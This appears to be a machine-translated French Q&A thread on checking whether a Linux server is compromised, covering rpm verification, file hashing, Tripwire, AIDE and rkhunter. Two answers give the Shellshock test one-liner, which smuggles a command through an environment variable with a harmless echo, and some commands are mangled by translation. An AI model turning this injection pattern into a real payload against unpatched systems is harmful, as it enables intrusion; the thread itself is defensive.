Essayez d'obtenir une version statique rpmet exécutez la commande rpm --verify --all. Il vous indiquera quels fichiers appartenant à un package ont été modifiés. Mais comme vous pouvez l'exécuter sur un système compromis, vous pouvez ne pas faire entièrement confiance au résultat. Ensuite, vous pouvez simplement faire un rpm -qapour obtenir la liste des packages, recréer un autre système avec les mêmes versions de packages, puis un find / -type f |xargs -r -n 100 md5sum |sortsur les deux systèmes et voir ce qui diffère. De plus, si vous gérez correctement votre système (c'est-à-dire que vous n'installez rien manuellement en dehors de / opt ou / usr / local / bin ou d'un autre emplacement non géré), vous pouvez rechercher tous les fichiers de votre système qui n'appartiennent pas à un package, avec find / -type f -exec rpm -qf {} \;. Il devrait afficher des erreurs pour les fichiers inconnus. Je vous laisse ne pas montrer les points positifs comme exercice ;-)

Pour faire de même périodiquement avec la preuve cryptographique, il existe un outil appelé Tripwireque vous pouvez toujours trouver en version gratuite. Il est vieux mais fait son travail. Une alternative plus récente est AIDE, mais il n'utilisait pas de crypto quand je l'ai regardé il y a des années.

Il existe des outils qui peuvent vous aider. Par exemple, recherchez le package rkhunter. Il analysera votre ordinateur à la recherche de kits d'outils racine connus et de fichiers exploités.

De toute évidence, ces outils auraient dû être installés et configurés avant que le système ne soit compromis, et ces outils peuvent également être ciblés si votre système est correctement piraté pour accéder à la racine. De plus, ces outils peuvent être très intensifs et ralentir votre système.


2

La seule façon de savoir si votre serveur est compromis est d'avoir quelque part une signature de vos fichiers et d'y comparer vos fichiers actuels. Néanmoins, vous pouvez voir si vous êtes vulnérable.

  1. tu ne peux pas. Il est raisonnable de supposer que si votre machine est en effet compromise, vos outils de surveillance habituels (ps, top, lsof, ...) ont été remplacés par des outils similaires dont la sortie semble normale, cachant une activité suspecte
  2. non. peut se trouver dans n'importe quel dossier contenant des fichiers exécutables.
  3. tous les fichiers ou scripts exécutables (binaire ELF, script .shell, ...), y compris les outils de surveillance habituels

-3

Comment savoir si votre box Linux est compromise.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si si retourne

vulnerable
this is a test

tu es.

Pour exécuter la mise à jour, sous root, exécutez la commande suivante

sudo yum update bash

16
-1 Cette vérification si le bash est vulnérable, pas s'il a été réellement compromis.
Calimo

1
Il suppose également que vous exécutez yumet non un autre gestionnaire de packages.
DavidG

-3

Vous pouvez vérifier si vous êtes vulnérable en exécutant les commandes suivantes (code fourni par CSA). Ouvrez une fenêtre de terminal et entrez la commande suivante à l'invite $:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si votre bash n'est PAS à jour, il imprimera:

vulnerable
this is a test

Si votre bash est à jour, vous ne verrez que:

this is a test

Plus de détails sont disponibles derrière ce lien .


1
La question était de détecter qu'un serveur était compromis , pas qu'il soit vulnérable
Gareth

veuillez envisager de lire d'autres réponses avant d'en publier une très similaire à une réponse dont le score est faible car elle ne répond PAS à la question.
Manu H
En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.